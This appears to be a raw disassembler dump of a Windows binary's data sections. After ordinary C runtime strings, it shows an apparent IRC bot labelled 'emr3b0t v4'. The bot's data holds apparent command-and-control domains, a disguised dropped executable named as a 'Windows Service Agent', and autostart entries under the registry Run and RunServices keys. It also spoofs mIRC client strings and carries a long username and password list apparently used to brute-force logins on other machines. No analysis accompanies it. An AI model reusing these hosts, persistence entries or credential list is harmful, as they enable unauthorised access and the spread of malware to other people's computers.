align 4
aEngland db 'england',0 ; DATA XREF: .data:00454B98o
aCzech db 'czech',0 ; DATA XREF: .data:00454B90o
align 4
aChina db 'china',0 ; DATA XREF: .data:00454B88o
align 4
aBritain db 'britain',0 ; DATA XREF: .data:00454B80o
aAmerica db 'america',0 ; DATA XREF: .data:off_454B78o
aUsa db 'usa',0 ; DATA XREF: .data:00454E30o
aUs db 'us',0 ; DATA XREF: .data:00454C28o
; .data:00454E28o
align 4
aUk db 'uk',0 ; DATA XREF: .data:00454C10o
; .data:00454E20o
align 10h
aSwiss db 'swiss',0 ; DATA XREF: .data:00454E18o
align 4
aSwedishFinland db 'swedish-finland',0 ; DATA XREF: .data:00454E10o
aSpanishVenezue db 'spanish-venezuela',0 ; DATA XREF: .data:00454E08o
align 4
aSpanishUruguay db 'spanish-uruguay',0 ; DATA XREF: .data:00454E00o
aSpanishPuertoR db 'spanish-puerto rico',0 ; DATA XREF: .data:00454DF8o
aSpanishPeru db 'spanish-peru',0 ; DATA XREF: .data:00454DF0o
align 10h
aSpanishParagua db 'spanish-paraguay',0 ; DATA XREF: .data:00454DE8o
align 4
aSpanishPanama db 'spanish-panama',0 ; DATA XREF: .data:00454DE0o
align 4
aSpanishNicarag db 'spanish-nicaragua',0 ; DATA XREF: .data:00454DD8o
align 4
aSpanishModern db 'spanish-modern',0 ; DATA XREF: .data:00454DD0o
align 4
aSpanishMexican db 'spanish-mexican',0 ; DATA XREF: .data:00454DC8o
aSpanishHondura db 'spanish-honduras',0 ; DATA XREF: .data:00454DC0o
align 4
aSpanishGuatema db 'spanish-guatemala',0 ; DATA XREF: .data:00454DB8o
align 10h
aSpanishElSalva db 'spanish-el salvador',0 ; DATA XREF: .data:00454DB0o
aSpanishEcuador db 'spanish-ecuador',0 ; DATA XREF: .data:00454DA8o
aSpanishDominic db 'spanish-dominican republic',0 ; DATA XREF: .data:00454DA0o
align 10h
aSpanishCostaRi db 'spanish-costa rica',0 ; DATA XREF: .data:00454D98o
align 4
aSpanishColombi db 'spanish-colombia',0 ; DATA XREF: .data:00454D90o
align 4
aSpanishChile db 'spanish-chile',0 ; DATA XREF: .data:00454D88o
align 4
aSpanishBolivia db 'spanish-bolivia',0 ; DATA XREF: .data:00454D80o
aSpanishArgenti db 'spanish-argentina',0 ; DATA XREF: .data:00454D78o
align 4
aPortugueseBraz db 'portuguese-brazilian',0 ; DATA XREF: .data:00454D70o
align 4
aNorwegianNynor db 'norwegian-nynorsk',0 ; DATA XREF: .data:00454D68o
align 4
aNorwegianBokma db 'norwegian-bokmal',0 ; DATA XREF: .data:00454D60o
align 4
aNorwegian db 'norwegian',0 ; DATA XREF: .data:00454D58o
align 4
aItalianSwiss db 'italian-swiss',0 ; DATA XREF: .data:00454D50o
align 4
aIrishEnglish db 'irish-english',0 ; DATA XREF: .data:00454D48o
align 4
aGermanSwiss db 'german-swiss',0 ; DATA XREF: .data:00454D40o
align 4
aGermanLuxembou db 'german-luxembourg',0 ; DATA XREF: .data:00454D38o
align 4
aGermanLichtens db 'german-lichtenstein',0 ; DATA XREF: .data:00454D30o
aGermanAustrian db 'german-austrian',0 ; DATA XREF: .data:00454D28o
aFrenchSwiss db 'french-swiss',0 ; DATA XREF: .data:00454D20o
align 10h
aFrenchLuxembou db 'french-luxembourg',0 ; DATA XREF: .data:00454D18o
align 4
aFrenchCanadian db 'french-canadian',0 ; DATA XREF: .data:00454D10o
aFrenchBelgian db 'french-belgian',0 ; DATA XREF: .data:00454D08o
align 4
aEnglishUsa db 'english-usa',0 ; DATA XREF: .data:00454D00o
aEnglishUs db 'english-us',0 ; DATA XREF: .data:00454CF8o
align 4
aEnglishUk db 'english-uk',0 ; DATA XREF: .data:00454CF0o
align 4
aEnglishTrinida db 'english-trinidad y tobago',0 ; DATA XREF: .data:00454CE8o
align 4
aEnglishSouthAf db 'english-south africa',0 ; DATA XREF: .data:00454CE0o
align 4
aEnglishNz db 'english-nz',0 ; DATA XREF: .data:00454CD8o
align 4
aEnglishJamaica db 'english-jamaica',0 ; DATA XREF: .data:00454CD0o
aEnglishIre db 'english-ire',0 ; DATA XREF: .data:00454CC8o
aEnglishCaribbe db 'english-caribbean',0 ; DATA XREF: .data:00454CC0o
align 4
aEnglishCan db 'english-can',0 ; DATA XREF: .data:00454CB8o
aEnglishBelize db 'english-belize',0 ; DATA XREF: .data:00454CB0o
align 4
aEnglishAus db 'english-aus',0 ; DATA XREF: .data:00454CA8o
aEnglishAmerica db 'english-american',0 ; DATA XREF: .data:00454CA0o
align 4
aDutchBelgian db 'dutch-belgian',0 ; DATA XREF: .data:00454C98o
align 4
aChineseTraditi db 'chinese-traditional',0 ; DATA XREF: .data:00454C90o
aChineseSingapo db 'chinese-singapore',0 ; DATA XREF: .data:00454C88o
align 4
aChineseSimplif db 'chinese-simplified',0 ; DATA XREF: .data:00454C80o
align 10h
aChineseHongkon db 'chinese-hongkong',0 ; DATA XREF: .data:00454C78o
align 4
aChinese db 'chinese',0 ; DATA XREF: .data:00454C70o
aChi db 'chi',0 ; DATA XREF: .data:00454C68o
aChh db 'chh',0 ; DATA XREF: .data:00454C60o
aCanadian db 'canadian',0 ; DATA XREF: .data:00454C58o
align 10h
aBelgian db 'belgian',0 ; DATA XREF: .data:00454C50o
aAustralian db 'australian',0 ; DATA XREF: .data:00454C48o
align 4
aAmericanEnglis db 'american-english',0 ; DATA XREF: .data:00454C40o
align 4
aAmericanEngl_0 db 'american english',0 ; DATA XREF: .data:00454C38o
align 4
aAmerican db 'american',0 ; DATA XREF: .data:off_454C30o
align 4
; char aOcp[]
aOcp db 'OCP',0 ; DATA XREF: _ProcessCodePage:loc_435AB3o
; char aAcp[]
aAcp db 'ACP',0 ; DATA XREF: _ProcessCodePage+16o
aChsize_c db 'chsize.c',0 ; DATA XREF: __chsize_lk+38o
align 4
; char aSize0[]
aSize0 db 'size >= 0',0 ; DATA XREF: __chsize_lk+2Co
align 4
; char a1Qnan[]
a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_43738Fo
align 10h
; char a1Inf[]
a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+19Bo
align 4
; char a1Ind[]
a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+168o
align 10h
; char a1Snan[]
a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+125o
align 4
aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:00454EE8o
aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00454EE4o
aMDYy db 'M/d/yy',0 ; DATA XREF: .data:00454EE0o
align 4
aPm_2 db 'PM',0 ; DATA XREF: .data:00454EDCo
align 10h
aAm_0 db 'AM',0 ; DATA XREF: .data:00454ED8o
align 4
aDecember db 'December',0 ; DATA XREF: .data:00454ED4o
align 10h
aNovember db 'November',0 ; DATA XREF: .data:00454ED0o
align 4
aOctober db 'October',0 ; DATA XREF: .data:00454ECCo
aSeptember db 'September',0 ; DATA XREF: .data:00454EC8o
align 10h
aAugust db 'August',0 ; DATA XREF: .data:00454EC4o
align 4
aJuly db 'July',0 ; DATA XREF: .data:00454EC0o
align 10h
aJune db 'June',0 ; DATA XREF: .data:00454EBCo
align 4
aApril db 'April',0 ; DATA XREF: .data:00454EB4o
align 10h
aMarch db 'March',0 ; DATA XREF: .data:00454EB0o
align 4
aFebruary db 'February',0 ; DATA XREF: .data:00454EACo
align 4
aJanuary db 'January',0 ; DATA XREF: .data:00454EA8o
aDec db 'Dec',0 ; DATA XREF: .data:00454EA4o
aNov db 'Nov',0 ; DATA XREF: .data:00454EA0o
aOct db 'Oct',0 ; DATA XREF: .data:00454E9Co
aSep db 'Sep',0 ; DATA XREF: .data:00454E98o
aAug db 'Aug',0 ; DATA XREF: .data:00454E94o
aJul db 'Jul',0 ; DATA XREF: .data:00454E90o
aJun db 'Jun',0 ; DATA XREF: .data:00454E8Co
aMay db 'May',0 ; DATA XREF: .data:00454E88o
; .data:00454EB8o
aApr db 'Apr',0 ; DATA XREF: .data:00454E84o
aMar db 'Mar',0 ; DATA XREF: .data:00454E80o
aFeb db 'Feb',0 ; DATA XREF: .data:00454E7Co
aJan db 'Jan',0 ; DATA XREF: .data:00454E78o
aSaturday db 'Saturday',0 ; DATA XREF: .data:00454E74o
align 4
aFriday db 'Friday',0 ; DATA XREF: .data:00454E70o
align 10h
aThursday db 'Thursday',0 ; DATA XREF: .data:00454E6Co
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: .data:00454E68o
align 4
aTuesday db 'Tuesday',0 ; DATA XREF: .data:00454E64o
aMonday db 'Monday',0 ; DATA XREF: .data:00454E60o
align 4
aSunday db 'Sunday',0 ; DATA XREF: .data:00454E5Co
align 10h
aSat db 'Sat',0 ; DATA XREF: .data:00454E58o
aFri db 'Fri',0 ; DATA XREF: .data:00454E54o
aThu db 'Thu',0 ; DATA XREF: .data:00454E50o
aWed db 'Wed',0 ; DATA XREF: .data:00454E4Co
aTue db 'Tue',0 ; DATA XREF: .data:00454E48o
aMon db 'Mon',0 ; DATA XREF: .data:00454E44o
aSun db 'Sun',0 ; DATA XREF: .data:off_454E40o
; char aAP[]
aAP db 'a/p',0 ; DATA XREF: __store_winword:loc_438933o
; char aAmPm[]
aAmPm db 'am/pm',0 ; DATA XREF: __store_winword:loc_438913o
align 4
aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_438C60+9Co
; sub_438C60+F1o
align 8
dword_43E048 dd 0FFFFFFFFh ; DATA XREF: ___crtGetStringTypeW+5o
dd offset loc_439027
dd offset loc_43902D
dd 0FFFFFFFFh
dd offset loc_4390A6
dd offset loc_4390AC
aWtombenv_c db 'wtombenv.c',0 ; DATA XREF: ___wtomb_environ+44o
align 10h
dword_43E070 dd 0FFFFFFFFh ; DATA XREF: ___crtGetLocaleInfoW+5o
dd offset loc_439ADD
dd offset loc_439AE3
align 10h
dword_43E080 dd 0FFFFFFFFh ; DATA XREF: ___crtGetLocaleInfoA+5o
dd offset loc_439C7F
dd offset loc_439C85
aA_cmp_c db 'a_cmp.c',0 ; DATA XREF: ___crtCompareStringA+17Fo
; char aCchcount10Cchc[]
aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
; DATA XREF: ___crtCompareStringA:loc_439EA3o
align 8
dword_43E0D8 dd 0FFFFFFFFh ; DATA XREF: ___crtCompareStringA+5o
dd offset loc_43A00F
dd offset loc_43A015
dd 0FFFFFFFFh
dd offset loc_43A0AD
dd offset loc_43A0B3
aSetenv_c db 'setenv.c',0 ; DATA XREF: ___crtsetenv+B2o
; ___crtsetenv+F2o ...
align 4
aStringTooLong db 'string too long',0 ; DATA XREF: sub_43A6C0+1Fo
dd offset dword_43E208
off_43E110 dd offset sub_43A840 ; DATA XREF: sub_43A720+44o
; sub_43A7E0+1Fo ...
dd offset sub_43A790 ; ?what@runtime_error@std@@UBEPBDXZ
; doubtful name
dd offset sub_43A7B0
dd offset dword_43E258
off_43E120 dd offset sub_43A960 ; DATA XREF: sub_43A870+16o
; sub_43A910+Ao ...
dd offset sub_43A790 ; ?what@runtime_error@std@@UBEPBDXZ
; doubtful name
dd offset sub_43A930
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_43A9C0+1Fo
dd offset dword_43E2A8
off_43E148 dd offset sub_43AAA0 ; DATA XREF: sub_43AA20+16o
; sub_43AA50+Ao ...
dd offset sub_43A790 ; ?what@runtime_error@std@@UBEPBDXZ
; doubtful name
dd offset sub_43AA70
dd offset dword_43E2D8
off_43E158 dd offset ??_Gexception@@UAEPAXI@Z ; DATA XREF: .text:0043B15Ao
; exception::exception(char const * const &)+Co ...
; exception::`scalar deleting destructor'(uint)
dd offset ?what@exception@@UBEPBDXZ ; exception::what(void)
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: exception::what(void):loc_43B338o
align 4
dd offset dword_43E320
off_43E178 dd offset ??_Gtype_info@@UAEPAXI@Z
; DATA XREF: type_info::~type_info(void)+Ao
; type_info::type_info(type_info const &)+Ao ...
; type_info::`scalar deleting destructor'(uint)
align 10h
dword_43E180 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Do
dd 3, 19930520h, 2 dup(0)
dword_43E1A0 dd 0FFFFFFFFh ; DATA XREF: ___crtLCMapStringW+5o
dd offset loc_43B7BF
dd offset loc_43B7C5
dd 0FFFFFFFFh
dd offset loc_43B864
dd offset loc_43B86A
off_43E1B8 dd offset off_4551F0 ; DATA XREF: .rdata:0043E1ECo
; .rdata:0043E240o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_43E1D0 dd offset off_455208 ; DATA XREF: .rdata:off_43E1E8o
; .rdata:0043E23Co ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_43E1E8 dd offset off_43E1D0 ; DATA XREF: .rdata:0043E204o
dd offset off_43E1B8
dword_43E1F0 dd 4 dup(0) ; DATA XREF: .rdata:0043E218o
dd 2
dd offset off_43E1E8
dword_43E208 dd 3 dup(0) ; DATA XREF: .rdata:0043E10Co
dd offset off_455208
dd offset dword_43E1F0+8
align 10h
off_43E220 dd offset off_455228 ; DATA XREF: .rdata:off_43E238o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
off_43E238 dd offset off_43E220 ; DATA XREF: .rdata:0043E254o
dd offset off_43E1D0
dd offset off_43E1B8
dd 0
db 0 ; DATA XREF: .rdata:0043E268o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3
dd offset off_43E238
dword_43E258 dd 3 dup(0) ; DATA XREF: .rdata:0043E11Co
dd offset off_455228
dd offset unk_43E248
align 10h
off_43E270 dd offset off_455248 ; DATA XREF: .rdata:off_43E288o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
off_43E288 dd offset off_43E270 ; DATA XREF: .rdata:0043E2A4o
dd offset off_43E1D0
dd offset off_43E1B8
dd 0
db 0 ; DATA XREF: .rdata:0043E2B8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3
dd offset off_43E288
dword_43E2A8 dd 3 dup(0) ; DATA XREF: .rdata:0043E144o
dd offset off_455248
dd offset unk_43E298
off_43E2BC dd offset off_43E1B8 ; DATA XREF: .rdata:0043E2D4o
dword_43E2C0 dd 4 dup(0) ; DATA XREF: .rdata:0043E2E8o
dd 1
dd offset off_43E2BC
dword_43E2D8 dd 3 dup(0) ; DATA XREF: .rdata:0043E154o
dd offset off_4551F0
dd offset dword_43E2C0+8
align 10h
off_43E2F0 dd offset off_455268 ; DATA XREF: .rdata:off_43E308o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_43E308 dd offset off_43E2F0 ; DATA XREF: .rdata:0043E31Co
dword_43E30C dd 3 dup(0) ; DATA XREF: .rdata:0043E330o
dd 1
dd offset off_43E308
dword_43E320 dd 3 dup(0) ; DATA XREF: .rdata:0043E174o
dd offset off_455268
dd offset dword_43E30C+4
align 8
dword_43E338 dd 19930520h, 2 ; DATA XREF: .text:loc_43BA8Fo
dd offset dword_43E358
dd 5 dup(0)
dword_43E358 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E340o
dd offset sub_43BA78
dd 0
dd offset sub_43BA70
dword_43E368 dd 19930520h, 2 ; DATA XREF: .text:loc_43BAA9o
dd offset dword_43E388
dd 5 dup(0)
dword_43E388 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E370o
dd offset sub_43BA99
dd 0
dd offset sub_43BAA1
dword_43E398 dd 19930520h, 2 ; DATA XREF: .text:loc_43BAB4o
dd offset dword_43E3B8
dd 1
dd offset dword_43E3C8
dd 3 dup(0)
dword_43E3B8 dd 0FFFFFFFFh, 0 ; DATA XREF: .rdata:0043E3A0o
dd 0FFFFFFFFh, 0
dword_43E3C8 dd 2 dup(0) ; DATA XREF: .rdata:0043E3A8o
dd 2 dup(1)
dd offset dword_43E3E0
align 10h
dword_43E3E0 dd 3 dup(0) ; DATA XREF: .rdata:0043E3D8o
dd offset loc_40E1B5
dword_43E3F0 dd 0 ; DATA XREF: .rdata:0043E45Co
; .rdata:0043E4C8o ...
dd offset off_4551F0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch
dd offset ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
dword_43E40C dd 2 dup(0) ; DATA XREF: .rdata:0043E458o
; .rdata:0043E4C4o ...
dd offset off_455208
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch
dd offset sub_43A720
dword_43E42C dd 2 dup(0) ; DATA XREF: .rdata:0043E454o
dd offset off_455228
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch
dd offset sub_43A990
align 10h
dword_43E450 dd 3 ; DATA XREF: .rdata:0043E46Co
dd offset dword_43E42C+4
dd offset dword_43E40C+4
dd offset dword_43E3F0
dword_43E460 dd 0 ; DATA XREF: sub_43A6C0+3Fo
; sub_43A930+15o
dd offset sub_43A910
dd 0
dd offset dword_43E450
dword_43E470 dd 19930520h, 1 ; DATA XREF: SEH_43A6C0o
dd offset dword_43E490
dd 5 dup(0)
dword_43E490 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E478o
dd offset sub_43BAC0
dword_43E498 dd 19930520h, 1 ; DATA XREF: SEH_43A720o
dd offset dword_43E4B8
dd 5 dup(0)
dword_43E4B8 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E4A0o
dd offset sub_43BAE0
dword_43E4C0 dd 2 ; DATA XREF: .rdata:0043E4DCo
dd offset dword_43E40C+4
dd offset dword_43E3F0
align 10h
dword_43E4D0 dd 0 ; DATA XREF: sub_43A7B0+15o
dd offset sub_43A7E0
dd 0
dd offset dword_43E4C0
dword_43E4E0 dd 19930520h, 1 ; DATA XREF: SEH_43A7E0o
dd offset dword_43E500
dd 5 dup(0)
dword_43E500 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E4E8o
dd offset sub_43BB00
dword_43E508 dd 19930520h, 1 ; DATA XREF: SEH_43A8A0o
dd offset dword_43E528
dd 5 dup(0)
dword_43E528 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E510o
dd offset sub_43BB20
dword_43E530 dd 0 ; DATA XREF: .rdata:0043E554o
dd offset off_455248
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch
dd offset sub_43AAD0
align 10h
dword_43E550 dd 3 ; DATA XREF: .rdata:0043E56Co
dd offset dword_43E530
dd offset dword_43E40C+4
dd offset dword_43E3F0
dword_43E560 dd 0 ; DATA XREF: sub_43A9C0+3Fo
; sub_43AA70+15o
dd offset sub_43AA50
dd 0
dd offset dword_43E550
dword_43E570 dd 19930520h, 1 ; DATA XREF: SEH_43A9C0o
dd offset dword_43E590
dd 5 dup(0)
dword_43E590 dd 0FFFFFFFFh ; DATA XREF: .rdata:0043E578o
dd offset sub_43BB40
_rdata ends
; Section 3. (virtual address 0003F000)
; Virtual size : 000B5C3D ( 744509.)
; Section size in file : 000B5C3D ( 744509.)
; Offset to raw data for section: 0003F000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 43F000h
dword_43F000 dd 0 ; DATA XREF: __cinit+29o
dd offset loc_4013FF
dd offset sub_40DCBD
dd offset sub_40E2C6
dd offset sub_40F144
dd offset unknown_libname_35 ; Microsoft VisualC 2-8/net runtime
dword_43F018 dd 0 ; DATA XREF: __cinit+24o
dword_43F01C dd 0 ; DATA XREF: __cinit+17o
dd offset ___onexitinit
dd offset ___initstdio
dd offset ___initmbctable
dd offset ?__CxxSetUnhandledExceptionFilter@@YAXXZ ; __CxxSetUnhandledExceptionFilter(void)
dword_43F030 dd 0 ; DATA XREF: __cinit:loc_41EAD2o
dword_43F034 dd 0 ; DATA XREF: _doexit+76o
dd offset ___endstdio
dword_43F03C dd 0 ; DATA XREF: _doexit:loc_41EBF1o
dword_43F040 dd 0 ; DATA XREF: _doexit+88o
dd offset ?__CxxRestoreUnhandledExceptionFilter@@YAXXZ ; __CxxRestoreUnhandledExceptionFilter(void)
dword_43F048 dd 2 dup(0) ; DATA XREF: _doexit:loc_41EC03o
dword_43F050 dd 80000002h ; DATA XREF: sub_401000+7o
dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000002h
dd offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000001h
dd offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
dword_43F068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo
dword_43F06C dd 1F90h ; DATA XREF: WinMain(x,x,x,x)+4A4r
; WinMain(x,x,x,x)+539r
dword_43F070 dd 1F91h ; DATA XREF: WinMain(x,x,x,x)+585r
dword_43F074 dd 7E4h ; DATA XREF: sub_401CC7:loc_404806r
dword_43F078 dd 45h ; DATA XREF: sub_401CC7+2079r
; sub_40C12D+3Br
dword_43F07C dd 7D1h ; DATA XREF: sub_401CC7:loc_403E2Er
; sub_40C12D:loc_40C51Er
dword_43F080 dd 201h ; DATA XREF: sub_401CC7:loc_403FBAr
word_43F084 dw 7C7h ; DATA XREF: sub_401CC7:loc_404929r
align 4
dword_43F088 dd 1 ; DATA XREF: sub_401CC7+646r
dword_43F08C dd 1 ; DATA XREF: WinMain(x,x,x,x)+13Dr
dword_43F090 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_40175Cr
; sub_4190F6+Cr
byte_43F094 db 2Eh ; DATA XREF: sub_401CC7+A7Ar
; sub_401CC7+B34r ...
align 4
dword_43F098 dd 5 ; DATA XREF: sub_40B06A+3Ar
; sub_40B06A+60r ...
; int dword_43F09C
dword_43F09C dd 4 ; DATA XREF: sub_4019E7+78r
; sub_401CC7+270r ...
; int dword_43F0A0
dword_43F0A0 dd 1 ; DATA XREF: sub_4019E7+72r
; sub_401CC7+26Ar
; char aTrb[]
aTrb db 'trb',0 ; DATA XREF: WinMain(x,x,x,x)+5Do
; sub_401CC7:loc_40468Bo ...
aEmr3b0tV4 db 'emr3b0t v4',0 ; DATA XREF: sub_401CC7:loc_404B30o
align 4
; char a3zef[]
a3zef db '3zef',0 ; DATA XREF: sub_401CC7+7EA3o
; sub_401CC7+7F72o
align 4
; char Source[]
Source db 'saken-qlbe.net',0 ; DATA XREF: WinMain(x,x,x,x)+490o
; WinMain(x,x,x,x)+52Ao
align 4
byte_43F0CC db 33h ; DATA XREF: sub_401B4F+28r
; sub_401B4F+30o
aZef3 db 'zef3',0
align 4
; char a0[]
a0 db '#0#',0 ; DATA XREF: WinMain(x,x,x,x)+4B0o
; WinMain(x,x,x,x)+540o ...
; char a7lome[]
a7lome db '7lome',0 ; DATA XREF: WinMain(x,x,x,x)+4C7o
; WinMain(x,x,x,x)+552o
align 10h
; char byte_43F0E0
byte_43F0E0 db 73h ; DATA XREF: WinMain(x,x,x,x):loc_401983r
; WinMain(x,x,x,x)+576o
aAkenQlbe_org db 'aken-qlbe.org',0
align 10h
; char a1[]
a1 db '#1#',0 ; DATA XREF: WinMain(x,x,x,x)+58Co
; char a7lome_0[]
a7lome_0 db '7lome',0 ; DATA XREF: WinMain(x,x,x,x)+59Eo
align 4
; char Str[]
Str db 'nlzhxmpyrjsyle.exe',0 ; DATA XREF: WinMain(x,x,x,x)+143o
; WinMain(x,x,x,x)+167w ...
align 10h
; char aWinnt_bat[]
aWinnt_bat db 'winnt.bat',0 ; DATA XREF: sub_412694+3Do
align 4
aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo
align 4
asc_43F134: ; DATA XREF: sub_40B0D7+12o
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401CC7+7FEEo
align 4
; char a2[]
a2 db '#2',0 ; DATA XREF: sub_401CC7+1D36o
; sub_401CC7+3039o ...
align 10h
; char a2_0[]
a2_0 db '#2',0 ; DATA XREF: sub_401CC7+449Ao
align 4
; char a2_1[]
a2_1 db '#2',0 ; DATA XREF: sub_401CC7+40BEo
; sub_401CC7+4210o
align 4
off_43F158 dd offset a@admin ; DATA XREF: sub_401CC7:loc_409BBDo
; "*@admin"
off_43F15C dd offset aMircV6_16Khale ; DATA XREF: sub_401CC7+8AEr
; sub_401CC7+7F12o
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: .data:0043F054o
; .data:0043F064o
align 4
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
; DATA XREF: .data:0043F05Co
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41AD5D+28o
; sub_41B081+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41AD5D+D4o
; sub_41B081+D4o
align 4
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd 0
dd offset dword_4E2F90
dd offset aAdministrato_1 ; "administrator"
dd offset aAdministrado_0 ; "administrador"
dd offset aAdministrate_0 ; "administrateur"
dd offset aAdministrat_0 ; "administrat"
dd offset aAdmins_0 ; "admins"
dd offset aAdmin_0 ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_1 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1_0 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003_0 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_1 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault_0 ; "default"
dd offset aSystem ; "system"
dd offset aServer_6 ; "server"
dd offset aRoot_0 ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser_4 ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter_0 ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob_0 ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin_2 ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase_0 ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2_0 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa_0 ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle_0 ; "oracle"
